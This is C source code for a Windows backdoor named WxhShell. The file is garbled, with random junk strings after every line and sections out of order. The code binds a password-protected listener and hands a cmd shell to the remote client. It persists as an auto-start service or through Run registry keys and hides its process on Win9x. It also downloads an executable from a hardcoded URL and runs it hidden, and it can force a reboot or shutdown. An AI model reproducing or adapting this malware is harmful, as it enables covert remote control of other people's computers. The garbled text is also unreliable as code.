    if(Boot(SHUTDOWN)) N4JqW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R3pBC"Jv  
    else { v1tN DyM6  
    closesocket(wsh); 6{,K7FL  
    ExitThread(0); 0;m$a=  
    } y9l.i@-  
    break;  h(N 9RJ}  
    } y:|Xg0Kp  
  // 获取shell J,77pf!B  
  case 's': { ]oWZ{#r2  
    CmdShell(wsh); H--*[3".  
    closesocket(wsh); q4#f *]  
    ExitThread(0); Y|qixpP  
    break; 9OO_Hp#|9  
  } 6pdl,5[x-  
  // 退出 Lb3K};SIV  
  case 'x': { 2 vJ[vsrFv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B$[%pm`'2  
    CloseIt(wsh); { ves@p>?  
    break; 35]G_\  
    } >cr_^(UW&  
  // 离开 >Qbc(}w  
  case 'q': { ?U9d3] W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p9] 7g%  
    closesocket(wsh); +68K[s,FD  
    WSACleanup(); ~)_ ?:.Da  
    exit(1); :pF]TY"K.  
    break; O]r3?=  
        } la"A$Tbu~  
  } G*w W&R)  
  } MnrGD>M@|  
$rQFM[  
  // 提示信息 QGCdeE$K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r)@&2b"q  
} ("M#R!3  
  } |% YzGgp7  
Ev|{~U  
  return; TWR#MVMI  
} zl0:U2x7  
}.|5S+J?[  
// shell模块句柄 cPBy(5^  
int CmdShell(SOCKET sock) >^\>-U|  
{ [#*?uu+ jK  
STARTUPINFO si; V1fvQ=9  
ZeroMemory(&si,sizeof(si)); ?e|:6a+[f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  '?>O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Cv2>'{S  
PROCESS_INFORMATION ProcessInfo; "qP^uno  
char cmdline[]="cmd"; P+%)0*W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0jZ{?  
  return 0; E["t Ccg  
} { )GEgC  
n#L2cv~Aj"  
// 自身启动模式 @p` CAB  
int StartFromService(void) JE:n`l/p  
{ m ?"%&|  
typedef struct /zP)2q^  
{ T _9ZI|Jx  
  DWORD ExitStatus; $$;2jX"I  
  DWORD PebBaseAddress; gwB> oi*OE  
  DWORD AffinityMask; a:%5.!Vd  
  DWORD BasePriority; hv8[_p`>  
  ULONG UniqueProcessId; WQmiG=Dw^  
  ULONG InheritedFromUniqueProcessId; <GmrKdM  
}   PROCESS_BASIC_INFORMATION; hz|z&vyP  
{Ljl4Sp&  
PROCNTQSIP NtQueryInformationProcess; ^?.:}  
]\mb6Hc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fh4w0u*Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ].T;x|  
5!Mp#lO  
  HANDLE             hProcess; C`T5d  
  PROCESS_BASIC_INFORMATION pbi; h/bYtE  
?UhAjtYIS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W me1w\0  
  if(NULL == hInst ) return 0; >,]e[/p  
\ui~n:aWJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :a!a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?$&rC0 t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <l s/3!  
>W]"a3E  
  if (!NtQueryInformationProcess) return 0; -:p1gg&  
+PXfr~ 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wQuaB6E  
  if(!hProcess) return 0; xr3PO?:  
1Y"qQp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ri6 br  
=ZIFS  
  CloseHandle(hProcess);  eV=sDx  
./*,Thc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >Pd23TsN  
if(hProcess==NULL) return 0; JP*wi-8D  
Y'H/ $M N  
HMODULE hMod; xdU pp~}+.  
char procName[255]; _$_CR\$  
unsigned long cbNeeded; FT<*  
z>g& ?vo2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ywk[VD+.  
kJpHhAn4  
  CloseHandle(hProcess); 2Xs< 1rF  
$"n)C  
if(strstr(procName,"services")) return 1; // 以服务启动 <=2*UD |  
 k*6eZ7  
  return 0; // 注册表启动 N$\5%  
} Kf<_A{s  
>@e%,z  
// 主模块 ;9 n8on\  
int StartWxhshell(LPSTR lpCmdLine) /,%o<Ql9  
{ 'n.9qxY;  
  SOCKET wsl; $=SYssg7La  
BOOL val=TRUE; WY~[tBi\  
  int port=0; 1L qJ@v0  
  struct sockaddr_in door; rL/7wa  
He;%6OG{  
  if(wscfg.ws_autoins) Install(); ]H'82a  
*G|]5  
port=atoi(lpCmdLine); l8lR5<  
.Tqvy)'  
if(port<=0) port=wscfg.ws_port; wTbIS~!gF  
VOOThdR  
  WSADATA data; *!s?hHv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /[dAgxL  
?+tZP3'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TmAb! Y|F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TBfl9Q  
  door.sin_family = AF_INET; ?\VN`8Yb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U*h)nc  
  door.sin_port = htons(port); \eN/fTPm  
0DT2qM[,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Px&Mi:4tG  
closesocket(wsl); boB{Y7gO4  
return 1; mU>* NP(L  
} kakWXGeR  
$gK>R5^G>  
  if(listen(wsl,2) == INVALID_SOCKET) { IH:Cm5MV  
closesocket(wsl); $ {eh52)`  
return 1; bdhgHjz  
} . L%@/(r  
  Wxhshell(wsl); T )]|o+G  
  WSACleanup(); v!C+W$,T  
&}=,8Gt1G  
return 0; {moNtzE;  
,OAWGFKOp  
} d>psqmQ  
~,7R*71  
// 以NT服务方式启动 k5 l~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hKeh9 Bt  
{ YWF<2l.  
DWORD   status = 0; v]S8!wU  
  DWORD   specificError = 0xfffffff; x"De 9SB  
`sC8ro@Fm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lB@K;E@r8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =R`2m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E zUjt)wF  
  serviceStatus.dwWin32ExitCode     = 0; ?V&a |:N9  
  serviceStatus.dwServiceSpecificExitCode = 0; nEr, jd~f  
  serviceStatus.dwCheckPoint       = 0; a8c]B/  
  serviceStatus.dwWaitHint       = 0; Rx2|VD  
PyE<`E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vLS6Gb't  
  if (hServiceStatusHandle==0) return; dBn.DU*B  
`d#_66TLr  
status = GetLastError(); Xxw.{2Ji!q  
  if (status!=NO_ERROR) :\RB ^3;  
{ V@f#/"u'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P .(X]+  
    serviceStatus.dwCheckPoint       = 0; Us.jyg7_c  
    serviceStatus.dwWaitHint       = 0; @S):a`J  
    serviceStatus.dwWin32ExitCode     = status; <Ux;dekz}  
    serviceStatus.dwServiceSpecificExitCode = specificError; :gv#_[k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); . C?gnOq  
    return; I ]1fH  
  } .?NAq[H%  
`r Ql{$9IC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? GW3E  
  serviceStatus.dwCheckPoint       = 0; m!(K  
  serviceStatus.dwWaitHint       = 0; F4Z0g*^x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,/9|j*9H  
} Jq)k?WS  
vj0?b/5m  
// 处理NT服务事件,比如:启动、停止 >?<d}9X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xw5" JE!.  
{ z"`?<A&u  
switch(fdwControl) yRDLg c  
{ R5zV= N  
case SERVICE_CONTROL_STOP: 1tc9STYR}  
  serviceStatus.dwWin32ExitCode = 0; |JQ05nb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ccmbdw,Z 5  
  serviceStatus.dwCheckPoint   = 0; [*v\X %+  
  serviceStatus.dwWaitHint     = 0; x #g,l2_!  
  { >O=V1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2[eY q1f!  
  } :{2$X|f 3  
  return; V" 73^  
case SERVICE_CONTROL_PAUSE: *^ BE1-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~qH@Kz\%  
  break; 0g\&3EvD  
case SERVICE_CONTROL_CONTINUE: 9 |Y?#oZ1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mt>DAk  
  break; o}z}79Z  
case SERVICE_CONTROL_INTERROGATE: d-aF-  
  break; hRu%> =7  
}; @hPbD?)M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ja1*a,],L  
} mHy]$Z  
2BY:qz%:  
// 标准应用程序主函数 !$HWUxM;p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jL<.?HE  
{ X(9Ff=0.~  
KNhH4K2iP8  
// 获取操作系统版本 DGnswN%n1  
OsIsNt=GetOsVer(); lLv0lf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {[+gM?  
LtBH4 A  
  // 从命令行安装 Ql 1# l:Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mv3Ch'X[  
r{_'2Z_i  
  // 下载执行文件 <[bDNe["?  
if(wscfg.ws_downexe) { I\_R& v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;z#9>99rH  
  WinExec(wscfg.ws_filenam,SW_HIDE); {JJ`|*H$_  
} *(rE<  
l{4\Wn Va  
if(!OsIsNt) { *?K=;$  
// 如果时win9x,隐藏进程并且设置为注册表启动 (ym)q#^  
HideProc(); I$&/?ns@O  
StartWxhshell(lpCmdLine); PhQD}|S  
} M}>q>  
else JQqDUd  
  if(StartFromService()) >vhyKq|g<  
  // 以服务方式启动 iy 5  
  StartServiceCtrlDispatcher(DispatchTable); ZpyRvDz  
else tznT*EQr  
  // 普通方式启动 jWz-7BO  
  StartWxhshell(lpCmdLine); \?Z dUY  
JcP'+@X"  
return 0; Jz6PqU|=  
} `}bUf epMJ  
?l/rg6mbI'  
x?kZD~|{)  
uH#NJoR O  
=========================================== ZI1RB fR  
h;6@-\6  
BI s!  
:Z)s'd.  
 T-\,r  
gM8eO-d  
" c8u0\X,  
>,v~,<3 i  
#include <stdio.h> 1NTe@r!y  
#include <string.h> U7W ct %  
#include <windows.h> 6!$S1z#wM  
#include <winsock2.h> bu.36\78  
#include <winsvc.h>  ;"3Mm$  
#include <urlmon.h> 4 R]|  
> h9U~#G=  
#pragma comment (lib, "Ws2_32.lib") tv0xfAV  
#pragma comment (lib, "urlmon.lib") g 0L 4  
UpITx]y?"m  
#define MAX_USER   100 // 最大客户端连接数 [|YMnV<B  
#define BUF_SOCK   200 // sock buffer ">o/\sXeH  
#define KEY_BUFF   255 // 输入 buffer :X#(T- !t  
E_OLf%um  
#define REBOOT     0   // 重启 x[X.// :  
#define SHUTDOWN   1   // 关机 D7 @10;F}[  
^V:YNUqp#  
#define DEF_PORT   5000 // 监听端口 &Fi8@0Fh  
Um~jp:6p  
#define REG_LEN     16   // 注册表键长度 }MX`WW0\]Z  
#define SVC_LEN     80   // NT服务名长度 ~?p > L  
ms$o,[  
// 从dll定义API %wO~\:F8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X}ZOjX!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1li`+~L F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (#:Si~3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;9~z_orNQZ  
}yw\+fc  
// wxhshell配置信息 {*2A% }S  
struct WSCFG { U{x'@/Ld  
  int ws_port;         // 监听端口 kB 2bT}  
  char ws_passstr[REG_LEN]; // 口令 sw&Qks? V  
  int ws_autoins;       // 安装标记, 1=yes 0=no v6GWD}HH,  
  char ws_regname[REG_LEN]; // 注册表键名  u32<=Q[  
  char ws_svcname[REG_LEN]; // 服务名 zb<+x(0y"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &$=F $  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kK(633s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L*_xu _F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no > + SEze  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sOJ~PRA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t!k 0n&P  
9we=aX5  
}; rEViw?^KT  
S.I<Hs  
// default Wxhshell configuration <[q)2 5RL  
struct WSCFG wscfg={DEF_PORT, A-~)7-  
    "xuhuanlingzhe", gp}S 1  
    1, k4@GjO1"$  
    "Wxhshell", (X8N?tJ  
    "Wxhshell", L]V K9qB  
            "WxhShell Service",  }N[sydL  
    "Wrsky Windows CmdShell Service", )*uI/E  
    "Please Input Your Password: ", bIH2cJ  
  1, 1{wy%|H\  
  "http://www.wrsky.com/wxhshell.exe", 5 xiYCOy  
  "Wxhshell.exe" y`N1I  
    }; Z` Aiw."|  
(*EN!-/  
// 消息定义模块 Ii9vA ^53  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O~D}&M@/R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6hZhD1lDG^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #<JrSl62(K  
char *msg_ws_ext="\n\rExit."; G{J9Fb8  
char *msg_ws_end="\n\rQuit."; %H@fVWe2wT  
char *msg_ws_boot="\n\rReboot..."; }X$>84s>[P  
char *msg_ws_poff="\n\rShutdown..."; 5ZSw0A(w  
char *msg_ws_down="\n\rSave to "; 5t PmrWZ  
$&4Zw6"=  
char *msg_ws_err="\n\rErr!"; U!Lws#\X  
char *msg_ws_ok="\n\rOK!"; j04Q3d \f  
e#AB0-f  
char ExeFile[MAX_PATH]; qj|GAGrQ2  
int nUser = 0; Kb}N!<Z*  
HANDLE handles[MAX_USER]; 4b#YpK$7U  
int OsIsNt; }A#FGH +  
>?kt3.IQ!X  
SERVICE_STATUS       serviceStatus; qjWgyhL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O-7 \qz  
hOq1 "kL  
// 函数声明 ' Sl9xd  
int Install(void); E>ev/6ox  
int Uninstall(void); "}!vYr  
int DownloadFile(char *sURL, SOCKET wsh); ?gkK*\x2  
int Boot(int flag); -,rl[1ZYZ  
void HideProc(void); BYGLYT;Z  
int GetOsVer(void); X0lIeGwrQ  
int Wxhshell(SOCKET wsl); WgjaMmht  
void TalkWithClient(void *cs); 8FMP)N4+  
int CmdShell(SOCKET sock); FrVD~;  
int StartFromService(void); d<whb2l  
int StartWxhshell(LPSTR lpCmdLine); V +hV&|=  
J@$>d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uIR_p \)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X@cV']#V  
"ZH1W9A  
// 数据结构和表定义 =gj]R  
SERVICE_TABLE_ENTRY DispatchTable[] = )FB)ZK;  
{ 4Qw!YI#40$  
{wscfg.ws_svcname, NTServiceMain}, Jn&(v"_  
{NULL, NULL} |k^X!C0  
}; 3B_S>0H"$  
LWW0lG!_F  
// 自我安装 Wbc % G8  
int Install(void) mX#T<_=d  
{ zR/ATm]9  
  char svExeFile[MAX_PATH]; <sPB|5Ak  
  HKEY key; Z?b. PC/  
  strcpy(svExeFile,ExeFile); ~E)I+$,  
a{HvrWs?Q  
// 如果是win9x系统,修改注册表设为自启动 u_uC78`p  
if(!OsIsNt) { )I*V('R6|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 86I".R$d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > 4^U=T#  
  RegCloseKey(key); xv)7-jlx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !is8`8F8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZpwB"%e$  
  RegCloseKey(key); G1D(-X4ALZ  
  return 0; ?6[>HX;  
    } s2tEyR+gW  
  } 8g$ 8]'M^T  
} V9MA)If>  
else { <uAqb Wu  
T"2ye9a  
// 如果是NT以上系统,安装为系统服务 'r-a:8:t^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kAAz|dhL-  
if (schSCManager!=0) "\B Li C  
{ -j(/5.a  
  SC_HANDLE schService = CreateService X`22Hf4ct  
  ( k<St:X%.O  
  schSCManager, 5$y<nMP  
  wscfg.ws_svcname, ! |}>Y  
  wscfg.ws_svcdisp, `W-:@?PmQx  
  SERVICE_ALL_ACCESS, f>RPh bq|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gs. K,xma  
  SERVICE_AUTO_START, DF-og*V  
  SERVICE_ERROR_NORMAL, aMzAA  
  svExeFile, v"s}7trWV  
  NULL, KsHMAp3  
  NULL, rVz#;d!`z  
  NULL, %7{6>6%  
  NULL, L 5>>gG ,  
  NULL 2\7]EW  
  ); Gjzhgz--  
  if (schService!=0) j\W+wnAgk  
  { L-MpdC  
  CloseServiceHandle(schService); |#S!qnXB  
  CloseServiceHandle(schSCManager); f+)F-3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q'W`t>2T  
  strcat(svExeFile,wscfg.ws_svcname); {i=qx#2X?H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9m#`56G`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yJr'\(  
  RegCloseKey(key); `]fY9ZDKs  
  return 0; :@pm gp  
    } Hiw{1E:rW  
  } OnD+/I  
  CloseServiceHandle(schSCManager); ;ymUMQ%;/  
} r*kk/ $,2  
} n9)/(=)>*  
haY.rH]z  
return 1; 4YdmG.CU  
} /423!g0Q  
:CV&WP  
// 自我卸载 aZmSCi:&'  
int Uninstall(void) 2Qn%p[#n  
{ `B^?Za,xN  
  HKEY key; 8(ZQD+U(9F  
tv?~LJYN  
if(!OsIsNt) { z/;NoQ-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M T{^=F ]  
  RegDeleteValue(key,wscfg.ws_regname); ($ae n  
  RegCloseKey(key); zRu}lJ1#W$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ql],Wplg  
  RegDeleteValue(key,wscfg.ws_regname); !QYqRH~ 5  
  RegCloseKey(key); fIFB"toiPE  
  return 0; Q~`]0R159e  
  } (}}BZ S&.  
} Ha;^U/0|  
} 4$.4,4+  
else { YRB,jwne  
9 =hA#t.#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /*st,P$"  
if (schSCManager!=0) $rf5\_G,96  
{ ==c\* o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l'$AmuGj  
  if (schService!=0) Bm^vKzp  
  { {y :/9  
  if(DeleteService(schService)!=0) { 7|H !(a'  
  CloseServiceHandle(schService); 2&P'rmFm  
  CloseServiceHandle(schSCManager); fLPB *y6  
  return 0; 3:S Ex;d+  
  } |3vQmd !2}  
  CloseServiceHandle(schService); * \f(E#wa  
  } ;@Ls "+g  
  CloseServiceHandle(schSCManager); uI+h9j$vS  
} (3W<yAM+  
} [ UQzCqV  
*-g S u  
return 1; +   
} _4.fT  
j# o0y5S  
// 从指定url下载文件 Y]ZOvA5W  
int DownloadFile(char *sURL, SOCKET wsh) tR*J M$T  
{ E@t^IGD r  
  HRESULT hr; MB:E/  
char seps[]= "/"; +|\dVe.  
char *token; 1)M3*h3  
char *file; L{osh0  
char myURL[MAX_PATH]; sexnO^s  
char myFILE[MAX_PATH]; Av7bp[OD  
e>Is$+[`7  
strcpy(myURL,sURL); eBG7]u,Q  
  token=strtok(myURL,seps); YQ2ie>C8  
  while(token!=NULL) YS/{q~$t  
  { evZ{~v& /  
    file=token; x1wm]|BIf  
  token=strtok(NULL,seps); 1vi<@i,  
  } / [:@j+n\  
7@MVInV9  
GetCurrentDirectory(MAX_PATH,myFILE); oO!@s`  
strcat(myFILE, "\\"); 9fyk7~ V  
strcat(myFILE, file); Fj -mo>"  
  send(wsh,myFILE,strlen(myFILE),0); <?QY\wyikz  
send(wsh,"...",3,0); 6]7iiQz"H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .#Z}}W#  
  if(hr==S_OK) <(;"L<?D<C  
return 0; ;,4Z5+  
else Rm"lRkY4I[  
return 1; %0. o(U  
Hz!+g'R!Gs  
} 8qo{%  
OP%h`  
// 系统电源模块 ;OE{&  
int Boot(int flag) NC|&7qQ  
{ |$^,e%bE  
  HANDLE hToken; 1u 'x|Un  
  TOKEN_PRIVILEGES tkp; d{I|4h  
]g!k'@  
  if(OsIsNt) { QV7K~qi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RCnN+b:c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,RDxu7iT  
    tkp.PrivilegeCount = 1;  E~jNUTq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =^O8 4Cp 6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3]M YH b  
if(flag==REBOOT) { SO3WOR`3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hPP+lqY[  
  return 0; 8&f}GdZh  
} +u:8#!X$RD  
else { 'l)@MX bGL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?}bSQ)b  
  return 0; WUMx:a0!  
} &YDb/{|CIC  
  } D9+a"2|3<  
  else { '&'? S  
if(flag==REBOOT) { ;F"W6G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'P39^rb  
  return 0; tbl!{Qwx  
} 6t<~. 2'  
else { Ilsh Jo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `yNNpSdS1  
  return 0; )d_)CuUBe  
} &> p2N  
} +);o{wfW  
(SU*fD!t  
return 1; YNH>^cD1  
} 3@\vU~=P:  
[A fV+$  
// win9x进程隐藏模块 (/Hq8o-Fw  
void HideProc(void) GL9R 5  
{ (+q?xwl!N  
o#4Wn'E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VEd\*  
  if ( hKernel != NULL ) i=#r JK=  
  { u ,*$n'l]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \/. Of]YQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4cTJ$" v  
    FreeLibrary(hKernel); 0`3ey*  
  } &W)k s  
 J<V}g v  
return; 76 #  
} yAi#Y3!::  
p$0;~1vH  
// 获取操作系统版本 6WzE'0Nyr  
int GetOsVer(void) VgN`' iC`I  
{ T<mk98CdE  
  OSVERSIONINFO winfo; K &Ht37T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9L*gxI>  
  GetVersionEx(&winfo); ,iB)8Km@U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mAX]m1s  
  return 1; )U`H7\*)  
  else kS[k*bN0  
  return 0; ^-f5;B`\i  
} x\3tSP7Vp  
|Gzd|$%Oq  
// 客户端句柄模块 _|g(BK2}  
int Wxhshell(SOCKET wsl) Xa Yx avq  
{ >OBuHqC  
  SOCKET wsh; Gg{@]9  
  struct sockaddr_in client; 4;7<)&#h  
  DWORD myID; _+T;4U' p  
*;1G+Q#  
  while(nUser<MAX_USER) #Jq@p_T"  
{ hUxpz:U*  
  int nSize=sizeof(client); cSnm\f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k9w<0h3  
  if(wsh==INVALID_SOCKET) return 1; _C)u#]t  
LGgEq -  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |&o1i~Y  
if(handles[nUser]==0) LrsP4G  
  closesocket(wsh); 7?]gUrE  
else B@63=a*kG  
  nUser++; :2 n5;fp  
  } [64K?l0&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rM2?"  
Go^W\y   
  return 0; vpMNulXb,  
} H2zd@l:R  
yaa+j8s]  
// 关闭 socket =9LC "eI&|  
void CloseIt(SOCKET wsh) \V7Hi\)  
{ "a?k #!E  
closesocket(wsh); 6T;C+Y$  
nUser--; /thCu%%9A  
ExitThread(0); *$1*\oCtz  
} a' .o  
D@"q2 !  
// 客户端请求句柄 a`~$6 "v  
void TalkWithClient(void *cs) Iu[^"  
{ Z5bmqhDo[  
@J!)o d  
  SOCKET wsh=(SOCKET)cs; Bb}JyT  
  char pwd[SVC_LEN]; @:oMlIw;  
  char cmd[KEY_BUFF]; 49 fs$wr@  
char chr[1]; +0^N#0)  
int i,j; 1Yz1/gFj  
_U.8\J2  
  while (nUser < MAX_USER) { "Y7RvL!U  
oYup*@t  
if(wscfg.ws_passstr) { %_@8f|# ,M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4_F<jx,G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bqS*WgMY-  
  //ZeroMemory(pwd,KEY_BUFF); /:z}WAW  
      i=0; 7 G~MqnO|  
  while(i<SVC_LEN) { !:c7I@  
"sUe:F;  
  // 设置超时 < ;Qle  
  fd_set FdRead; n?YGX W/  
  struct timeval TimeOut; ]Q6,,/nn  
  FD_ZERO(&FdRead); Q5Y4@  
  FD_SET(wsh,&FdRead); JLT':e~PX  
  TimeOut.tv_sec=8; "3Ag+>tuRW  
  TimeOut.tv_usec=0; bO9F rEz5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %UV_ 3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4:nmo@K &~  
c)rI[P7Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); deda=%w0  
  pwd=chr[0]; {1#5\t>9yD  
  if(chr[0]==0xd || chr[0]==0xa) { Nr|.]=K)5n  
  pwd=0; <Zl0$~B:5  
  break; ]\+bx=  
  } Gvtd )9^<  
  i++; &.K8c phj  
    } C3G?dZKv2  
8ftLYMX@  
  // 如果是非法用户,关闭 socket  vF]?i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,HUs MCXQ  
} b3#c0GL  
(xG#D;M0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w^A8ZT0^7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |b'tf:l  
yXg783B|v  
while(1) { IW$&V``v  
QI0ARdS  
  ZeroMemory(cmd,KEY_BUFF); R+]Fh4t  
P-7!\[];te  
      // 自动支持客户端 telnet标准   OAOG&6xu8  
  j=0; j<"0ym)A  
  while(j<KEY_BUFF) {   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b ?B"u^b!  
  cmd[j]=chr[0]; vTh-I&}:  
  if(chr[0]==0xa || chr[0]==0xd) { d,8V-Dk+p  
  cmd[j]=0; TG{=~2  
  break; Tk|0 scjE^  
  } MR#jI  
  j++; [|ky~sRr  
    } '=\]4?S  
#U"\v7C{n  
  // 下载文件 iBV*GW  
  if(strstr(cmd,"http://")) { qAivsYN*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .NQoqXR  
  if(DownloadFile(cmd,wsh)) v;JY;Uh|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m-, '  
  else gS4K](KH |  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Af5In9WB5  
